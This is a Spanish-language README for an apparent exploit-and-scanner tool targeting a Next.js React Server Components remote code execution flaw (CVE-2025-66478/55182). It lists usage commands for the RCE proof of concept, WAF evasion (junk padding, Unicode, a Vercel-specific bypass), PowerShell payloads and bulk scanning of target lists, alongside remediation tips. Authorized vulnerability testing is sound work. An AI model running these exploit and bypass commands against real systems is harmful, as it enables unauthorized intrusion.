
Escáner de vulnerabilidades multimodo para Next.js RCE (CVE-2025-66478/55182) con detección segura de canal lateral, prueba de concepto de RCE, técnicas de evasión de WAF y escaneo de dependencias de proyectos locales.
El escáner más completo para la vulnerabilidad de Ejecución Remota de Código en Next.js RSC
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Escáner v1.0.0 ║
║ Vulnerabilidad de Ejecución Remota de Código en Next.js RSC ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modos: --safe (canal lateral) | --rce (PoC) | --version | --local ║
║ Bypass de WAF: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478 (también conocido como CVE-2025-55182) es una vulnerabilidad CRÍTICA (CVSS 10.0) de Ejecución Remota de Código que afecta a aplicaciones Next.js que usan React Server Components (RSC).
| Rango de Versiones | Estado |
|---|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ Vulnerable |
| Next.js 15.1.0 - 15.1.8 | ⚠️ Vulnerable |
| Next.js 15.2.0 - 15.2.5 | ⚠️ Vulnerable |
| Next.js 15.3.0 - 15.3.5 | ⚠️ Vulnerable |
| Next.js 15.4.0 - 15.4.7 | ⚠️ Vulnerable |
| Next.js 15.5.0 - 15.5.6 | ⚠️ Vulnerable |
| Next.js 16.0.0 - 16.0.6 | ⚠️ Vulnerable |
| Next.js 14.3.0-canary.77+ | ⚠️ Vulnerable |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ Parcheada |
| Next.js 16.0.7+ | ✅ Parcheada |
| Next.js 13.x, 14.x estable | ✅ No Afectada |
Esta herramienta combina las mejores características de múltiples escáneres CVE-2025-66478:
| Característica | Descripción |
|---|---|
| 🔍 Detección Multimodo | Canal lateral seguro, PoC RCE, solo versión, escaneo local |
| 🛡️ Técnicas de Bypass de WAF | Relleno de datos basura, codificación Unicode, bypass específico de Vercel |
| 📁 Escaneo de Proyectos Locales | Escanear package.json, lockfiles para dependencias vulnerables |
| ⚡ Alto Rendimiento | Escaneo multihebra con concurrencia configurable |
| 📊 Múltiples Formatos de Salida | Consola, JSON, exportación a archivo |
| 🎯 Detección Precisa de Versiones | Cabeceras HTTP, huella digital RSC, conocimiento de versiones parcheadas |
# Clonar el repositorio
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Instalar dependencias
pip install -r requirements.txt
# O instalar manualmente
pip install requests tqdm
# Solo detección de versión (más rápido, sin explotación)
python3 react2shell-ultimate.py -u https://target.com --version
# Detección segura por canal lateral (sin ejecución de código)
python3 react2shell-ultimate.py -u https://target.com --safe
# Prueba de concepto RCE (ejecuta cálculo inofensivo: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce
# Escaneo completo con todos los intentos de bypass
python3 react2shell-ultimate.py -u https://target.com --comprehensive
# Escanear múltiples objetivos desde un archivo
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json
# Modo silencioso - solo mostrar hosts vulnerables
python3 react2shell-ultimate.py -l targets.txt -q
# Salida JSON a stdout
python3 react2shell-ultimate.py -l targets.txt --json
# Escanear directorio actual
python3 react2shell-ultimate.py --local .
# Escanear ruta de proyecto específica
python3 react2shell-ultimate.py --local /path/to/nextjs/projects
# Bypass con datos basura (añade 128KB de relleno para evadir inspección de contenido)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass
# Tamaño personalizado de datos basura
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256
# Bypass con codificación Unicode
python3 react2shell-ultimate.py -u https://target.com --rce --unicode
# Bypass específico de WAF de Vercel
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass
# Objetivo Windows (payload PowerShell)
python3 react2shell-ultimate.py -u https://target.com --rce --windows
# Con proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080
# Cabeceras personalizadas
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"
# Aumentar tiempo de espera
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30
# Salida detallada
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v
| Opción | Descripción |
|---|---|
-u, --url | URL única para escanear |
-l, --list | Archivo que contiene URLs (una por línea) |
--local | Escanear directorio de proyecto local |
--safe | Detección segura por canal lateral (sin RCE) |
--rce | Modo de prueba de concepto RCE |
--version | Solo detección de versión |
--comprehensive | Escaneo completo con todas las técnicas |
--waf-bypass | Añadir datos basura para bypass de WAF |
--waf-bypass-size | Tamaño de datos basura en KB (por defecto: 128) |
--unicode | Codificación Unicode para bypass de WAF |
--vercel-bypass | Bypass específico de WAF de Vercel |
--windows | Usar payload de PowerShell para Windows |
-t, --threads | Hilos concurrentes (por defecto: 10) |
--timeout | Tiempo de espera de solicitud en segundos (por defecto: 10) |
-k, --insecure | Deshabilitar verificación SSL |
--proxy | URL del proxy (http://host:port) |
-H, --header | Cabecera personalizada (repetible) |
-o, --output | Archivo de salida (JSON) |
--all-results | Guardar todos los resultados, no solo los vulnerables |
-v, --verbose | Salida detallada |
-q, --quiet | Solo mostrar hosts vulnerables |
--json | Salida JSON a stdout |
--no-color |
--safe)Provoca un patrón de respuesta de error específico sin ejecutar ningún código. Identifica implementaciones RSC vulnerables a través del comportamiento de manejo de errores.
--rce)Ejecuta un cálculo matemático inofensivo (echo $((41*271)) = 11111) para confirmar la capacidad de RCE. El resultado aparece en la cabecera X-Action-Redirect.
--version)X-Powered-By para la versión de Next.jsVary en busca de indicadores RSCtext/x-component--local)Escanea directorios de proyecto para:
package.json - Declaración de dependencia directapackage-lock.json - Archivo de bloqueo de NPMyarn.lock - Archivo de bloqueo de Yarnpnpm-lock.yaml - Archivo de bloqueo de PNPMbun.lockb - Archivo de bloqueo de Bun[VULNERABLE] https://target.com
Versión: 15.3.1 | Estado: 200 | Método: rce_poc
Bypass de WAF: ÉXITO
[NO VULNERABLE] https://safe-target.com
Versión: 15.5.7 | Estado: 200 | Método: http_headers
[BLOQUEADO POR WAF] https://protected.com
Versión: 15.2.0 | Estado: 403 | Método: rce_poc
WAF Detectado: Exploit bloqueado
{
"tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
"version": "1.0.0",
"cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
"scan_time": "2025-12-06T12:00:00Z",
"total_results": 1,
"results": [
{
"url": "https://target.com",
"vulnerable": true,
"version": "15.3.1",
"status_code": 200,
"detection_method": "rce_poc",
"waf_detected": false,
"waf_bypassed": false
}
]
}
Si encuentra aplicaciones vulnerables:
Actualice inmediatamente a las versiones parcheadas:
Mitigaciones temporales:
Monitoree intentos de explotación en los registros
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos.
Licencia MIT - Consulte el archivo LICENSE para más detalles.
⭐ Dale una estrella a este repositorio si te resulta útil! ⭐
| Deshabilitar salida con colores |